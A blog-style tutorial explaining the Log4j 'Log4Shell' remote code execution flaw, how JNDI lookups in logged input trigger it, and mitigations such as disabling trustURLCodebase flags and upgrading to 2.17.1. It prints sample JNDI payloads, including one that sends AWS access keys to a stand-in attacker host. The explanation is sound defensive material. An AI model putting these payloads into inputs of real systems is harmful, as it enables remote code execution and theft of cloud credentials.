Apache Log4j aka Log4Shell Vulnerability - Remote Code Execution

When it comes to open-source projects there is a general assumption, as it's an open-source project, many members(sometimes a lot) are watching and constantly reviewing this codebase so it should have fewer errors and vulnerabilities. But it's normal for us programmers to make mistakes. This article discusses a recently found vulnerability in a very widely used library in Java, this is used for logging named Apache Log4j also known as Log4j.

Vulnerabilities are discovered all the time. Whenever a vulnerability is found, it gets patched by the community members as soon as possible.

I learned a lot from this video. Anyone reading this article may refer to his videos for in-depth learning. Also, I'm using his used examples here too.

Thanks, Rafat Rashid for proofreading my post

What is Log4j?

Log4j is a very popular java logging library that is used for logging data from out program into files or console shells when something goes wrong, during debugging, errors are raised, API request body(payload), etc to lookup these logged data to troubleshoot or get better insights. This is usually what typical logging libraries are used for. This Log4j library was so popular that even if a java based codebase doesn't use it directly, there is a very high possibility that some direct or indirect dependencies are using it. Now, because of the high usage of Log4j, the recently found vulnerability raises some serious concern for the java based applications.

Any java codebase that uses Log4j can be hacked unless you are using their latest patch version(>=2.17.1) after this vulnerability was found.

All enterprise and other application developers are now racing to put this patch, updating their Log4j version to the recently patched version which is 2.17.1 or higher(in the future) to avoid this vulnerability in their programs. Upgrading the Log4j or any other package may lead to more bugs if you don't know what you're doing. As we speak many packages apply these patches to the code where they use Log4j. But there's a possibility that some may not apply this patch which makes us vulnerable if we use that third-party library package in our codebase.

Note: Hackers are also racing to exploit their targets before applications apply this patch to their codebase and deploy it into production.

Those of us who are thinking, well, we don't use Log4j in our codebase so this vulnerability isn't going to affect us. Well, this is where the fun begins. Because of the popularity of Log4j, the third-party libraries and their direct/indirect dependent libraries may use log4j to log their stuff.

snyk - A developer security company - found out that almost 60% plus java applications out there use Log4j indirectly.

Using those usages of log4j in the dependencies of your application, your application falls under the threat of this vulnerability as well. So everyone needs to apply this patch to their codebase and redeploy their application into production.

Those of us who are still thinking, we don't have to put this patch or this vulnerability has nothing to do with us. There's a scoring system called CVSS which stands for Common Vulnerability Scoring System. It provides a way to capture the principal characteristics of a vulnerability and produce a numerical score reflecting its severity. This CVSS system rated this vulnerability 10 out of 10 which is pretty scary for java developers. This vulnerability has the highest score possible. And why is that? The reason for this is, this vulnerability enables what is known as RCE.

What is RCE?

RCE stands for Remote Code Execution. What this means is, hackers are allowed to execute any code on your machine by hacking into your application which uses log4j directly or indirectly. This vulnerability was nick-named as Log4Shell and the reason is, anyone can open a shell on your server and issue commands. Scary right?

Let's explain how we arrive at this scary problem. There are a few things that lead to this vulnerability altogether. Let's go one by one.

1. Log4j allow us to log expressions

final Logger logClient = LogManager.getLogger(...);
logClient.Error("error message: {}", error.getMessages());

In the first line, we get the logger client and then we log the error messages. So we are plugging the error object into the string. Java will run this error.getMessages() code and send this value which will be used by log4j to plug that error value into the string. We'll see an output that will contain the error string and whatever the error.getMessages returns into that {} curly braces which are called string interpolation and going to print it.

Another example,

logClient.Info("user {} has logged in using id {}", map.get("Name"), user.getId());

As long as the value passed here log4j will print it and it's the standard logging mechanism by most of the logging library, there's nothing special, right? This mechanism is not the problem here.

2. JNDI

JNDI stands for Java Naming and Directory Interface. This allows us to store java objects to a remote location and then serialize them to your JVM which is kind of streaming to JVM. As scary as it seems, this technology has been in existence from the era before rest API and it was quite popular at that time. This was a redistributed java system that would work with each other to communicate. This has lost its popularity now but it still exists in java for backward compatibility reasons. Let's have an example,

ldap://192.168.1.22:8080/O=Rezwanul,C=BD

This is an active directory link that uses LDAP protocol and we can invoke the URL and get a serialized java object in return from somewhere from a remote server. In our example, it is most probably the profile object we get from the active directory. This has nothing to do with log4j, It's a Java feature that has been in java for years. We can enable/disable it, it's encouraged to disable it. It hasn't been removed from java because java never deprecates anything for backward compatibility reasons, for example, even codes from 1995(java first released year) code can be run on the latest JVM and latest Java compiler.

This feature is harmless in and as of itself

3. JNDI lookup in log messages

In 2013, A feature was introduced in Log4j by a contributor, which uses the JNDI lookups from the logging messages. A good use case for this feature would be a centralized logging configuration from a config server and we want to serialize that configuration using JNDI lookups. Let's go back to our first log message example again...

final Logger logClient = LogManager.getLogger(...);
logClient.Error("error message: {}", error.getMessages());

We're going to use log message for JNDI lookups

final Logger logClient = LogManager.getLogger(...);
logClient.Error("{}: error: {}", "${jndi:ldap://logconfig/prefix}", error.getMessages());

So what we're doing here is, we're getting a prefix for the logging message from the configuration server and passing the JNDI URL as an argument. We're not passing a value that auto resolves but we're passing a URL as a string value but this is not something that JAVA resolves, this is something that we're passing to log4j. The difference is log4j does lookups for certain types of strings. For example,

logClient.Error("insert string here: {}", "hello world");

The above code will insert the hello world string in the curly braces. But the string we're passing as an argument has a special syntax like below ${jndi:ldap://...}

logClient.Error("looks up value and insert: {}", "${jndi:ldap://...}");

This type of value says log4j to look up and resolve for a serialized value and insert it into the curly braces. As the argument says JNDI log4j uses a JNDI lookup and it's going to look up the value and insert it into the braces. Another example

logClient.Error("looks up value and insert: {}", "${env:ENV_VALUE}");

As the argument says env log4j uses the environment variable lookups and inserts it into the curly braces.

This is the vulnerability we're talking about, Remote Code Execution(RCE)

This feature aka serious bug requested in 2013. To check that click here.

Are you wondering how this is a vulnerability? Let's give an example Let's say you've got a search page and an end-user can put some search criteria on an input box and submit it and on the server, you're logging it, the search term.

logClient.Info("search page: searched issued for {}", searchTerm);

With this simple Info log message, we can think about what can go wrong. Nothing right? Let's imagine if the search term looks like below ${jndi:ldap://want.to.heck/maliciousobject}, What will happen now, what will the simple Info log message do...

log4j will do a JNDI request to whatever domain passed in the search term. Let's use a simple diagram to show what's happening

What's happening here is, someone puts a JNDI URL as the search term and submits the request. The app server which contains that vulnerable log4j version logs the search term. The server now does a JNDI request to that malicious server and gets a serialized malicious object. What this malicious object contains who knows, log4j will take that object, and now your app JVM has a java object which the application didn't put in there. That malicious server (well, the malicious people behind that server) now can put a java object in somebody else's JVM.

This sounds like crazy but This is what this vulnerability is to be exact.

So the malicious person, in his malicious java object, can put a static block that contains whatever code he wants and this is going to run it.

Imagine you can insert the java object of your code in the JVM of a popular e-commerce website or JVM of a popular social media website and then you may control everything on that site. Sounds scary... Adding salt to this to make it more interesting is you can initiate this as many times as you want to execute whatever code you want to run this type of attack. This is also known as Remote code execution aka RCE

Isn't this pattern almost looking like SQL Injection? SQL Injection is also a similar vulnerability. In this type of attack, a Malicious user put malicious SQL code which executes itself on your app code. You're passing this malicious code as a query param from your app frontend. That's why we don't string append or didn't do resolves on user inputs. We can call this Log Injection aka Log Forgery. Log injection attack has been happening for quite some time now.

Log Injection (or Log Forgery) is a vulnerability that arises when un-trusted and un-validated input is allowed to be printed in system log files.

Let's look at the below search term.

\nINFO: Looks like a problem with our calculation./nError: rollback transaction for Rezwanul

This tells us we make a mistake in the calculation and we're rollbacking the transaction. In contrast to this, we may decide to refund the user. but this isn't the case really, right? Log injections are easy to figure out and less harmful. We can't do considerable damage with it. Compared to this RCE will result in a completely different story and cause serious problems.

Solving the Issue

Using JVM flags

This is the easiest one. Set these JVM flags to false

com.sun.jndi.ldap.object.trustURLCodebase
com.sun.jndi.rmi.object.trustURLCodebase

Which is telling java that, do you want to trust code that is coming from a URL that handles JNDI or RMI URL resolves kind of stuff? Set these flags to false and you're good to go. After that Java won't run any code which is coming from a URL. Java will stop it and Log4j will be stopped from logging it. Lots of people turn this off as this is scary stuff and yet lots of people out there don't even know this exists and they have servers running with this thing turned on and if they have that version of log4j which is vulnerable, may cause serious problems.

Even if these flags are turned off there is still vulnerability. Remember our environment variable resolving example in the above. Most application has some environment variable set up on the server.

${jndi:ldap://want.to.heck/${env:AWS_ACCESS_KEY}/${env:AWS_ACCESS_KEY_SECRET}}

A call with the above example goes out like that, then JVM will resolve those environment variables and then initiate the JNDI request which leads to a security breach on AWS as the AWS keys are exposed. This may lead to a situation where clients experience unwanted bills on AWS. Scary right? We don't want anything to happen to our clients, do we?

So here is our next solution:

Update log4j

We need to update log4j to the latest version(like 2.17.1) which doesn't have this vulnerability. This sounds simple but it can be problematic if you have dependencies that depend on something else which don't support the latest log4j version you are trying to update. In that case we have to wait for that dependent library to patch log4j, well while we're waiting scary things may happen if you want to take that risk.

Patch the class directly

So in this approach, we patch the java class directly into our version of log4j or the third-party library which uses log4j and patch it on the server so that we don't face the above issue.

If you like, you can read the same article on our official blog

You can read our other official blog-posts Here

You can read my other blog-posts Here

Use Dependency Constraints using Gradle

This will allow you to forcefully use a version of dependency you define in Gradle. No matter what the version that the dependent library use, you force them to use the version you choose.

In Conclusion, Open Source projects are secure most of the time no doubt about it. But just because it's open-source, doesn't mean it hasn't been exposed to vulnerability. Many people will review contributors code for bugs and vulnerability but We need to ask the question,

Is the person reviewing a piece of code is the right person to do that review or not?

This log4j vulnerability is out there for almost 9 years, who knows what type of problem it caused in all these years. From a developer's perspective, our implemented code may not be buggy at first glance as we don't think how a security expert will think on that same implementation.